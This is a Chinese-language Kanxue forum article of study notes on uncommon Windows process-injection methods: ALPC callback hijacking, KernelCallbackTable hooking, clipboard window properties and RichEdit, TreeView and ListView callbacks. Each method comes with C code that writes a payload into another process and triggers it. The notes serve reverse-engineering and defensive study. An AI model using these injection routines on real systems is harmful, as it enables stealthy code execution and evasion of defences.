Windows不太常见的进程注入学习小记(二)

  • A+
所属分类:逆向工程

Windows不太常见的进程注入学习小记(二)

本文为看雪论坛精华文章

看雪论坛作者ID:不懂就不懂



本文为《Windows不太常见的进程注入学习小记》系列第二篇。


第一篇链接: Windows不太常见的进程注入学习小记(一)

* 点击文字即可跳转




  •  目录


  •   0x00 前前言


  •   利用ALPC来实现进程注入

  •               0x01前言

  •               0x02 注入

  •               0x03 参考文章


  •   对KernelCallbackTable HOOK实现进程注入

  •               0x01 前言

  •               0x02 注入

  •               0x03 参考文章

  •        

      利用CLIPBRDWNDCLASS窗口类实现进程注入

  •               0x01 前言

  •               0x02 注入

  •               0x03 参考文章

  •      

  •   利用RICHEDIT控件

  •               0x01 前言

  •               0x02 EM_SETWORDBREAKPROC

  •               0x03 EM_STREAMIN

  •               0x04 EM_GETOLECALLBACK

  •               0x05 TVM_SORTCHILDRENCB

  •               0x06 LVM_SORTITEMS

  •               0x07 参考文章






0x00 前前言



这个只是我学习的笔记,真正的代码实现都是网上有人已经公开了的,给了参考链接了,这不是我发现的也不是我研究的,这只是我学习的。





利用ALPC来实现进程注入



0x01前言


本地过程调用(LPC,Local Procedure Call,通常也被称为轻量过程调用或者本地进程间通信是一种由Windows NT内核提供的内部进程间通信方式。通过这一方式,同一计算机上的进程可以进行轻量的通信。

在Windows Vista中,ALPC(Advanced Local Procedure Call,高级本地进程通信)替代了LPC。ALPC提供了一个高速可度量的通信机制,这样便于实现需要在用户模式下高速通信的用户模式驱动程序框架(UMDF,User-Mode Driver Framework)。
 
按照 Alex Ionescu在 syscan2014上的发言,即使最简单的windows程序都会有ALPC连接。可以用ProcessExplorer查看每个进程的ALPC Port的名字。我查看得情况确实是这样的。

Windows不太常见的进程注入学习小记(二)

与ALPC的中的回调保存地址有关的结构体:TP_CALLBACK_OBJECT

typedef struct _TP_CALLBACK_OBJECT {    ULONG                             RefCount;    PVOID                             CleanupGroupMember;    PTP_CLEANUP_GROUP                 CleanupGroup;    PTP_CLEANUP_GROUP_CANCEL_CALLBACK CleanupGroupCancelCallback;    PTP_SIMPLE_CALLBACK               FinalizationCallback;    LIST_ENTRY                        WorkList;    ULONG64                           Barrier;    ULONG64                           Unknown1;    SRWLOCK                           SharedLock;    TP_SIMPLE_CALLBACK                Callback;    PACTIVATION_CONTEXT               ActivationContext;    ULONG64                           SubProcessTag;    GUID                              ActivityId;    BOOL                              WorkingOnBehalfTicket;    PVOID                             RaceDll;    PTP_POOL                          Pool;    LIST_ENTRY                        GroupList;    ULONG                             Flags;    TP_SIMPLE_CALLBACK                CallerAddress;    TP_CALLBACK_PRIORITY              CallbackPriority;} TP_CALLBACK_OBJECT, *PTP_CALLBACK_OBJECT;

其中TP_SIMPLE_CALLBACK是保存回调函数地址的结构,第二个参数是函数参数。为:

typedef struct _TP_SIMPLE_CALLBACK {    PVOID                             Function;    PVOID                             Context;} TP_SIMPLE_CALLBACK;

根据文章内容和代码,我只能确定构造后的Context参数为TP_SIMPLE_CALLBACK本身所在的地址。


0x02 注入


1. 通过进程名拿到要注入的目标进程id,通过进程id获取进程句柄。

pi->hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi->pid);    if(pi->hp==NULL) return FALSE;

2. 通过NtQuerySystemInformation,传0x10(SystemHandleInformation)参数获取句柄信息。

for(len=MAX_BUFSIZ;;len+=MAX_BUFSIZ) {     list = xmalloc(len);     status = NtQuerySystemInformation(         SystemHandleInformation, list, len, &total);     // break from loop if ok        if(NT_SUCCESS(status)) break;     // free list and continue     xfree(list);     }

3. 判断循环判断句柄是否是属于要注入的目标进程的ALPC端口对象。


  • 判断句柄所属进程的pid是不是目标进程

  • 判断句柄类型是不是45...文章说不同的操作系统版本这个值不太一样,windows10是45。
  • 如果都是的话就将句柄对象拷贝至进程空间,获取对象的名字,判断不为空就将该对象名字入vector。获取ALPC端口对象的名字是为了之后与该端口进行连接操作。

for(i=0; i<hl->NumberOfHandles; i++) {      if(hl->Handles[i].UniqueProcessId != pi->pid) continue;      if(hl->Handles[i].ObjectTypeIndex != 45) continue;
// duplicate the handle object status = NtDuplicateObject( pi->hp, (HANDLE)hl->Handles[i].HandleValue, GetCurrentProcess(), &hObj, 0, 0, 0);
// continue with next entry if we failed if(!NT_SUCCESS(status)) continue;
// try query the name status = NtQueryObject(hObj, ObjectNameInformation, objName, 8192, NULL);
// got it okay? if(NT_SUCCESS(status) && objName->Name.Buffer!=NULL) { // save to list pi->ports.push_back(objName->Name.Buffer); } // close handle object NtClose(hObj); }

4. 搜索进程内存,找到进程中的PTP_CALLBACK_OBJECT结构体。

  • 根据该结构所属的内存的属性来搜索。


BOOL IsValidTCO(HANDLE hProcess, PTP_CALLBACK_OBJECT tco) {    MEMORY_BASIC_INFORMATION mbi;    SIZE_T                   res;
// if it's a callback, these values shouldn't be empty if(tco->CleanupGroupMember == NULL || tco->Pool == NULL || tco->CallerAddress.Function == NULL || tco->Callback.Function == NULL) return FALSE;
// the CleanupGroupMember should reside in read-only // area of image res = VirtualQueryEx(hProcess, (LPVOID)tco->CleanupGroupMember, &mbi, sizeof(mbi));
if (res != sizeof(mbi)) return FALSE; if (!(mbi.Protect & PAGE_READONLY)) return FALSE; if (!(mbi.Type & MEM_IMAGE)) return FALSE;
// the pool object should reside in read+write memory res = VirtualQueryEx(hProcess, (LPVOID)tco->Pool, &mbi, sizeof(mbi));
if (res != sizeof(mbi)) return FALSE; if (!(mbi.Protect & PAGE_READWRITE)) return FALSE;
// the caller function should reside in read+executable memory res = VirtualQueryEx(hProcess, (LPCVOID)tco->CallerAddress.Function, &mbi, sizeof(mbi));
if (res != sizeof(mbi)) return FALSE; if (!(mbi.Protect & PAGE_EXECUTE_READ)) return FALSE;
// the callback function should reside in read+executable memory res = VirtualQueryEx(hProcess, (LPCVOID)tco->Callback.Function, &mbi, sizeof(mbi));
if (res != sizeof(mbi)) return FALSE; return (mbi.Protect & PAGE_EXECUTE_READ); }


  • 如果搜索到了就判断这个结构体所属模块是否是RPCRT4.dll。


bFound=IsValidTCO(pi->hp, &tco);      if(bFound) {        // obtain module name where callback resides        GetMappedFileName(pi->hp, (LPVOID)tco.Callback.Function, filename, MAX_PATH);        // filter by RPCRT4.dll        if(StrStrI(filename, L"RPCRT4.dll")!=NULL) {          wprintf(L"Found TCO at %p for %sn",  addr+pos, filename);          // try run payload using this TCO          // if successful, end scan          bInject = ALPC_deploy(pi, addr+pos, &tco);          if (bInject) break;        }      }


  • 如果属于对的模块,那么就是真的找到了该结构。

  • 然后对这个结构进行HOOK操作。


5. 对找到的结构进行HOOK

BOOL ALPC_deploy(process_info *pi, LPVOID ds, PTP_CALLBACK_OBJECT tco) {    LPVOID             cs = NULL;    BOOL               bInject = FALSE;    TP_CALLBACK_OBJECT cpy;    // local copy of tco    SIZE_T             wr;    TP_SIMPLE_CALLBACK tp;    DWORD              i;
// allocate memory in remote for payload and callback parameter cs = VirtualAllocEx(pi->hp, NULL, pi->payloadSize + sizeof(TP_SIMPLE_CALLBACK), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (cs != NULL) { // write payload to remote process WriteProcessMemory(pi->hp, cs, pi->payload, pi->payloadSize, &wr); // backup TCO CopyMemory(&cpy, tco, sizeof(TP_CALLBACK_OBJECT)); // copy original callback address and parameter tp.Function = cpy.Callback.Function; tp.Context = cpy.Callback.Context; // write callback+parameter to remote process WriteProcessMemory(pi->hp, (LPBYTE)cs + pi->payloadSize, &tp, sizeof(tp), &wr); // update original callback with address of payload and parameter cpy.Callback.Function = cs; cpy.Callback.Context = (LPBYTE)cs + pi->payloadSize; // update TCO in remote process WriteProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr); // trigger execution of payload for(i=0;i<pi->ports.size(); i++) { ALPC_Connect(pi->ports[i]); // read back the TCO ReadProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr); // if callback pointer is the original, we succeeded. bInject = (cpy.Callback.Function == tco->Callback.Function); if(bInject) break; } // restore the original tco WriteProcessMemory(pi->hp, ds, tco, sizeof(cpy), &wr); // release memory for payload VirtualFreeEx(pi->hp, cs, pi->payloadSize+sizeof(tp), MEM_RELEASE); } return bInject;}

0x03 参考文章


https://conference.hitb.org/hitbsecconf2014kul/materials/D2T1%20-%20Ben%20Nagy%20-%20ALPC%20Fuzzing%20Toolkit.pdf

https://blog.csdn.net/weixin_43787608/article/details/84555474

https://modexp.wordpress.com/2019/03/07/process-injection-print-spooler/





对KernelCallbackTable
HOOK实现进程注入



0x01 前言


KernelCallBackTable是一个结构体,可以通过PEB来找到这个结构体的地址,当程序调用USER32.DLL时,KernelCallbackTable就会被初始化为函数数组。这个函数数组中的函数通常用于响应窗口消息,例如,_fnCOPYDATA是响应WM_COPYDATA消息而执行的。
 
PEB结构体中的KernelCallbackTable结构所在位置:

typedef struct _PEB{    BOOLEAN InheritedAddressSpace;      // These four fields cannot change unless the    BOOLEAN ReadImageFileExecOptions;   //    BOOLEAN BeingDebugged;              //    BOOLEAN SpareBool;                  //    HANDLE Mutant;                      // INITIAL_PEB structure is also updated.
PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PVOID FastPebLock; PVOID FastPebLockRoutine; PVOID FastPebUnlockRoutine; ULONG EnvironmentUpdateCount; PVOID KernelCallbackTable; // ...snipped

KernelCallBackTable结构体:

typedef struct _KERNELCALLBACKTABLE_T {    ULONG_PTR __fnCOPYDATA;    ULONG_PTR __fnCOPYGLOBALDATA;    ULONG_PTR __fnDWORD;    ULONG_PTR __fnNCDESTROY;    ULONG_PTR __fnDWORDOPTINLPMSG;    ULONG_PTR __fnINOUTDRAG;    ULONG_PTR __fnGETTEXTLENGTHS;    ULONG_PTR __fnINCNTOUTSTRING;    ULONG_PTR __fnPOUTLPINT;    ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;    ULONG_PTR __fnINLPCREATESTRUCT;    ULONG_PTR __fnINLPDELETEITEMSTRUCT;    ULONG_PTR __fnINLPDRAWITEMSTRUCT;    ULONG_PTR __fnPOPTINLPUINT;    ULONG_PTR __fnPOPTINLPUINT2;    ULONG_PTR __fnINLPMDICREATESTRUCT;    ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;    ULONG_PTR __fnINLPWINDOWPOS;    ULONG_PTR __fnINOUTLPPOINT5;    ULONG_PTR __fnINOUTLPSCROLLINFO;    ULONG_PTR __fnINOUTLPRECT;    ULONG_PTR __fnINOUTNCCALCSIZE;    ULONG_PTR __fnINOUTLPPOINT5_;    ULONG_PTR __fnINPAINTCLIPBRD;    ULONG_PTR __fnINSIZECLIPBRD;    ULONG_PTR __fnINDESTROYCLIPBRD;    ULONG_PTR __fnINSTRING;    ULONG_PTR __fnINSTRINGNULL;    ULONG_PTR __fnINDEVICECHANGE;    ULONG_PTR __fnPOWERBROADCAST;    ULONG_PTR __fnINLPUAHDRAWMENU;    ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;    ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;    ULONG_PTR __fnOUTDWORDINDWORD;    ULONG_PTR __fnOUTLPRECT;    ULONG_PTR __fnOUTSTRING;    ULONG_PTR __fnPOPTINLPUINT3;    ULONG_PTR __fnPOUTLPINT2;    ULONG_PTR __fnSENTDDEMSG;    ULONG_PTR __fnINOUTSTYLECHANGE;    ULONG_PTR __fnHkINDWORD;    ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;    ULONG_PTR __fnHkINLPCBTCREATESTRUCT;    ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;    ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;    ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;    ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;    ULONG_PTR __fnHkINLPMSG;    ULONG_PTR __fnHkINLPRECT;    ULONG_PTR __fnHkOPTINLPEVENTMSG;    ULONG_PTR __xxxClientCallDelegateThread;    ULONG_PTR __ClientCallDummyCallback;    ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;    ULONG_PTR __fnOUTLPCOMBOBOXINFO;    ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;    ULONG_PTR __xxxClientCallDevCallbackCapture;    ULONG_PTR __xxxClientCallDitThread;    ULONG_PTR __xxxClientEnableMMCSS;    ULONG_PTR __xxxClientUpdateDpi;    ULONG_PTR __xxxClientExpandStringW;    ULONG_PTR __ClientCopyDDEIn1;    ULONG_PTR __ClientCopyDDEIn2;    ULONG_PTR __ClientCopyDDEOut1;    ULONG_PTR __ClientCopyDDEOut2;    ULONG_PTR __ClientCopyImage;    ULONG_PTR __ClientEventCallback;    ULONG_PTR __ClientFindMnemChar;    ULONG_PTR __ClientFreeDDEHandle;    ULONG_PTR __ClientFreeLibrary;    ULONG_PTR __ClientGetCharsetInfo;    ULONG_PTR __ClientGetDDEFlags;    ULONG_PTR __ClientGetDDEHookData;    ULONG_PTR __ClientGetListboxString;    ULONG_PTR __ClientGetMessageMPH;    ULONG_PTR __ClientLoadImage;    ULONG_PTR __ClientLoadLibrary;    ULONG_PTR __ClientLoadMenu;    ULONG_PTR __ClientLoadLocalT1Fonts;    ULONG_PTR __ClientPSMTextOut;    ULONG_PTR __ClientLpkDrawTextEx;    ULONG_PTR __ClientExtTextOutW;    ULONG_PTR __ClientGetTextExtentPointW;    ULONG_PTR __ClientCharToWchar;    ULONG_PTR __ClientAddFontResourceW;    ULONG_PTR __ClientThreadSetup;    ULONG_PTR __ClientDeliverUserApc;    ULONG_PTR __ClientNoMemoryPopup;    ULONG_PTR __ClientMonitorEnumProc;    ULONG_PTR __ClientCallWinEventProc;    ULONG_PTR __ClientWaitMessageExMPH;    ULONG_PTR __ClientWOWGetProcModule;    ULONG_PTR __ClientWOWTask16SchedNotify;    ULONG_PTR __ClientImmLoadLayout;    ULONG_PTR __ClientImmProcessKey;    ULONG_PTR __fnIMECONTROL;    ULONG_PTR __fnINWPARAMDBCSCHAR;    ULONG_PTR __fnGETTEXTLENGTHS2;    ULONG_PTR __fnINLPKDRAWSWITCHWND;    ULONG_PTR __ClientLoadStringW;    ULONG_PTR __ClientLoadOLE;    ULONG_PTR __ClientRegisterDragDrop;    ULONG_PTR __ClientRevokeDragDrop;    ULONG_PTR __fnINOUTMENUGETOBJECT;    ULONG_PTR __ClientPrinterThunk;    ULONG_PTR __fnOUTLPCOMBOBOXINFO2;    ULONG_PTR __fnOUTLPSCROLLBARINFO;    ULONG_PTR __fnINLPUAHDRAWMENU2;    ULONG_PTR __fnINLPUAHDRAWMENUITEM;    ULONG_PTR __fnINLPUAHDRAWMENU3;    ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;    ULONG_PTR __fnINLPUAHDRAWMENU4;    ULONG_PTR __fnOUTLPTITLEBARINFOEX;    ULONG_PTR __fnTOUCH;    ULONG_PTR __fnGESTURE;    ULONG_PTR __fnPOPTINLPUINT4;    ULONG_PTR __fnPOPTINLPUINT5;    ULONG_PTR __xxxClientCallDefaultInputHandler;    ULONG_PTR __fnEMPTY;    ULONG_PTR __ClientRimDevCallback;    ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;    ULONG_PTR __ClientCallLocalMouseHooks;    ULONG_PTR __xxxClientBroadcastThemeChange;    ULONG_PTR __xxxClientCallDevCallbackSimple;    ULONG_PTR __xxxClientAllocWindowClassExtraBytes;    ULONG_PTR __xxxClientFreeWindowClassExtraBytes;    ULONG_PTR __fnGETWINDOWDATA;    ULONG_PTR __fnINOUTSTYLECHANGE2;    ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;} KERNELCALLBACKTABLE;

0x02 注入


例子程序中HOOK的是WM_COPYDATA的响应函数fnCOPYDATA。

  • 还是根据窗口名获取进程id获取进程句柄。


  • 使用NtQueryInformationProcess传入ProcessBasicInformation来获取目标进程的PEB。


NtQueryInformationProcess(hp,      ProcessBasicInformation, &pbi, sizeof(pbi), NULL);


  • 根据偏移找到KernelCallbackTable


ReadProcessMemory(hp, pbi.PebBaseAddress,      &peb, sizeof(peb), &rd);
ReadProcessMemory(hp, peb.KernelCallbackTable, &kct, sizeof(kct), &rd);


  • HOOK KernelCallbackTable 中的fnCOPYDATA。


  cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 4. Write the new table to remote processds = VirtualAllocEx(hp, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);kct.__fnCOPYDATA = (ULONG_PTR)cs;WriteProcessMemory(hp, ds, &kct, sizeof(kct), &wr);
// 5. Update the PEBWriteProcessMemory(hp, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &ds, sizeof(ULONG_PTR), &wr);


  • 发消息触发HOOK


cds.dwData = 1;cds.cbData = lstrlen(msg) * 2;cds.lpData = msg;
SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);


  • 恢复KernelCallbackTable


WriteProcessMemory(hp,      (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),      &peb.KernelCallbackTable, sizeof(ULONG_PTR), &wr);


0x03 参考文章


https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/





利用CLIPBRDWNDCLASS
窗口类实现进程注入



0x01 前言


CLIPBRDWNDCLASS这个窗口类通常与剪切板相关,类中的属性中有处理剪切板数据所需的函数地址。

这里主要用ClipboardDataObjectInterface的属性实现进程注入。

ClipboardRootDataObjectInterface和ClipboardDataObjectInterfaceMTA这两个属性也可以利用。

当使用SetProp这个API将属性ClipboardDataObjectInterface设置为IUnknown接口的地址后向该窗口发送WM_DESTROYCLIPBOARD消息,将会调用IUnknown接口中的Release方法。
 
IUnknown接口结构(冒牌货):

typedef struct _IUnknown_t {    // a pointer to virtual function table    ULONG_PTR lpVtbl;    // the virtual function table    ULONG_PTR QueryInterface;    ULONG_PTR AddRef;    ULONG_PTR Release;       // executed for                     WM_DESTROYCLIPBOARD} IUnknown_t;

0x02 注入


根据窗口类名找到窗口句柄,找到进程pid找到进程句柄。

hw = FindWindowEx(HWND_MESSAGE, NULL, L"CLIPBRDWNDCLASS", NULL);GetWindowThreadProcessId(hw, &id);hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

在找到的进程之中申请内存构造IUnknow接口,将接口中的release设置为写入的payload的地址 ,将虚表设置为下个四字节的地址。

cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);WriteProcessMemory(hp, cs, payload, payloadSize, &wr);// 3. Allocate RW memory in process.//    Initialize and write IUnknown interfaceds = VirtualAllocEx(hp, NULL, sizeof(IUnknown_t),MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);iu.lpVtbl  = (ULONG_PTR)ds + sizeof(ULONG_PTR);iu.Release = (ULONG_PTR)cs;WriteProcessMemory(hp, ds, &iu, sizeof(IUnknown_t), &wr);

设置属性值,并发送消息触发自定义的payload。

// 4. Set the interface property and trigger execution   SetProp(hw, L"ClipboardDataObjectInterface", ds);   PostMessage(hw, WM_DESTROYCLIPBOARD, 0, 0);

0x03 参考文章


https://modexp.wordpress.com/2019/05/24/4066/





利用RICHEDIT控件



0x01 前言


RichEdit控件是一个可用于输入、编辑、格式化、打印和保存文本的窗口空间。该控件中有许多的回调函数用于处理不同的消息。
 
这一次利用的消息有:
  • EM_SETWORDBREAKPROCG

  • EM_STREAMIN

  • EM_GETOLECALLBACK

  • TVM_SORTCHILDRENCB

  • LVM_SORTITEMS


0x02 EM_SETWORDBREAKPROC


通过该消息可以设置当有键盘按键事件发生时的消息回调。

找到具有RICHEDIT50W窗口类的空间,测试代码为了测试是直接通过写字板应用程序测试的。

wpw = FindWindow(L"WordPadClass", NULL);
// 2. Find the rich edit control for wordpad.rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);

获取当前Wordwrap函数的地址,和写字板的进程ID,打开该进程。

wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0);
// 4. Obtain the process id for wordpad.GetWindowThreadProcessId(rew, &id);hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

在写字板进程中申请内存写入payload,将消息回调设置为payload的地址。

cs = VirtualAllocEx(hp, NULL, payloadSize,       MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 7. Write the payload to memory WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 8. Update the callback procedure SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)cs);

模拟键盘输入操作触发payload,然后恢复窗口回调。

ip.type           = INPUT_KEYBOARD;    ip.ki.wVk         = 'A';    ip.ki.wScan       = 0;    ip.ki.dwFlags     = 0;    ip.ki.time        = 0;    ip.ki.dwExtraInfo = 0;
SetForegroundWindow(wpw); SendInput(1, &ip, sizeof(ip)); SendInput(1, &ip, sizeof(ip));
// 10. Restore original Wordwrap function SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)wwf);


0x03 EM_STREAMIN


当RIchEdit控件收到EM_STREAMIN消息时候,将会使用EDITSTREAM结构将数据传入或者传出控件。

typedef struct _editstream{    DWORD_PTR dwCookie;     // User value passed to callback as first parameter    DWORD      dwError;        // Last error    EDITSTREAMCALLBACK pfnCallback;} EDITSTREAM;

其中为EDITSTREAMCALLBACK类型的pfnCallback字段可以用于指向payload。当使用这个方法的时候,控件中的文本内容将会被删除。

  • 获取相应进程信息


wpw = FindWindow(L"WordPadClass", NULL);rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
// 2. Obtain the process id and try to open processGetWindowThreadProcessId(rew, &id);hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);


  • 申请内存,创建EDITSTREAM对象


// 3. Allocate RWX memory and copy the payload there.    cs = VirtualAllocEx(hp, NULL, payloadSize,        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 4. Allocate RW memory and copy the EDITSTREAM structure there. ds = VirtualAllocEx(hp, NULL, sizeof(EDITSTREAM), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
es.dwCookie = 0; es.dwError = 0; es.pfnCallback = cs;
WriteProcessMemory(hp, ds, &es, sizeof(EDITSTREAM), &wr);


  • 触发payload


// 5. Trigger payload with EM_STREAMIN    SendMessage(rew, EM_STREAMIN, SF_TEXT, (LPARAM)ds);

0x04 EM_GETOLECALLBACK


这个其实和消息回调关系不大,EM_GETOLECALLBACK可以获取虚表执政,主要是用于HOOK RichEditOle的虚表指针,将整个虚表指针hook。以下是该控件虚表指针的虚表原型。

typedef struct _IRichEditOle_t {    ULONG_PTR QueryInterface;    ULONG_PTR AddRef;    ULONG_PTR Release;    ULONG_PTR GetClientSite;    ULONG_PTR GetObjectCount;    ULONG_PTR GetLinkCount;    ULONG_PTR GetObject;    ULONG_PTR InsertObject;    ULONG_PTR ConvertObject;    ULONG_PTR ActivateAs;    ULONG_PTR SetHostNames;    ULONG_PTR SetLinkAvailable;    ULONG_PTR SetDvaspect;    ULONG_PTR HandsOffStorage;    ULONG_PTR SaveCompleted;    ULONG_PTR InPlaceDeactivate;    ULONG_PTR ContextSensitiveHelp;    ULONG_PTR GetClipboardData;    ULONG_PTR ImportDataObject;} _IRichEditOle;

老样子

rew = FindWindow(L"WordPadClass", NULL);    rew = FindWindowEx(rew, NULL, L"RICHEDIT50W", NULL);
// 2. Obtain the process id and try to open process GetWindowThreadProcessId(rew, &id); hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 3. Allocate RWX memory and copy the payload there cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

查询接口

// 5. Query the interfaceSendMessage(rew, EM_GETOLEINTERFACE, 0, (LPARAM)ptr);// 6. Read the memory addressReadProcessMemory(hp, ptr, &mem, sizeof(ULONG_PTR), &wr);

读取虚表指针地址

// 7. Read IRichEditOle.lpVtbl    ReadProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);

读取虚表内容

// 8. Read virtual function table  ReadProcessMemory(hp, tbl, &reo, sizeof(_IRichEditOle), &wr);

将虚表指针进行HOOK,构造虚表,将表中关于WM_COPY的回调函数修改为payload的的地址并触发消息。

// 9. Allocate memory for copy of virtual table    ds = VirtualAllocEx(hp, NULL, sizeof(_IRichEditOle),      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 10. Set the GetClipboardData method to address of payload reo.GetClipboardData = (ULONG_PTR)cs;
// 11. Write new virtual function table to remote memory WriteProcessMemory(hp, ds, &reo, sizeof(_IRichEditOle), &wr);
// 12. update IRichEditOle.lpVtbl WriteProcessMemory(hp, mem, &ds, sizeof(ULONG_PTR), &wr);
// 13. Trigger payload by invoking the GetClipboardData method PostMessage(rew, WM_COPY, 0, 0);

0x05 TVM_SORTCHILDRENCB


主要以获取treelist的句柄之后,获取treelist的第一项,构造TVSORTCB结构,对treelist第一项发送消息TVM_SORTCHILDRENCB,触发TVSORTCB结构中的payload。

typedef struct tagTVSORTCB{    HTREEITEM       hParent;    PFNTVCOMPARE    lpfnCompare;    LPARAM          lParam;} TVSORTCB, *LPTVSORTCB;

老规矩,不过这一次实验是通过注册表实现的

wpw = FindWindow(L"RegEdit_RegEdit", NULL);tlv = FindWindowEx(wpw, 0, L"SysTreeView32", 0);
// 2. Obtain the process id and try to open processGetWindowThreadProcessId(tlv, &id);hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 3. Allocate RWX memory and copy the payload there.cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

获取treelist的根节点,构造TVSORTCB结构。发送TVM_SORTCHILDRENCB以触发结构中的payload。

item = (LPVOID)SendMessage(tlv, TVM_GETNEXTITEM, TVGN_ROOT, 0);
tvs.hParent = item;tvs.lpfnCompare = cs;tvs.lParam = 0;
// 5. Allocate RW memory and copy the TVSORTCB structureds = VirtualAllocEx(hp, NULL, sizeof(TVSORTCB), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hp, ds, &tvs, sizeof(TVSORTCB), &wr);
// 6. Trigger payloadSendMessage(tlv, TVM_SORTCHILDRENCB, 0, (LPARAM)ds);

0x06 LVM_SORTITEMS


这个比较简单,直接获取treelist控件,发送消息LVM_SORTITEMS以运行payload。有个缺点就是treelist的子tree都会响应这个消息,想想就很恐怖。

// 1. get the window handle    wpw = FindWindow(L"RegEdit_RegEdit", NULL);    lvm = FindWindowEx(wpw, 0, L"SysListView32", 0);     // 2. Obtain the process id and try to open process    GetWindowThreadProcessId(lvm, &id);    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);     // 3. Allocate RWX memory and copy the payload there.    cs = VirtualAllocEx(hp, NULL, payloadSize,        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);     WriteProcessMemory(hp, cs, payload, payloadSize, &wr);     // 4. Trigger payload    PostMessage(lvm, LVM_SORTITEMS, 0, (LPARAM)cs);     // 5. Free memory and close process handle    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);    CloseHandle(hp);

0x07 参考文章


https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/#listplanting


Windows不太常见的进程注入学习小记(二)
- End -


Windows不太常见的进程注入学习小记(二)


看雪ID:不懂就不懂

https://bbs.pediy.com/user-795949.htm

  *本文由看雪论坛 不懂就不懂 原创,转载请注明来自看雪社区。



推荐文章++++

Windows不太常见的进程注入学习小记(二)

* Windows不太常见的进程注入学习小记(一)

* 脚本类恶意程序的快速分析技巧

* 萌新逆向学习笔记——消息钩子键盘记录

* 关于Kimsuky的一次恶意样本分析小记

* HellsingAPT分享







Windows不太常见的进程注入学习小记(二)
公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]


求分享

求点赞

Windows不太常见的进程注入学习小记(二)

求在看


Windows不太常见的进程注入学习小记(二)
“阅读原文一起来充电吧!

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: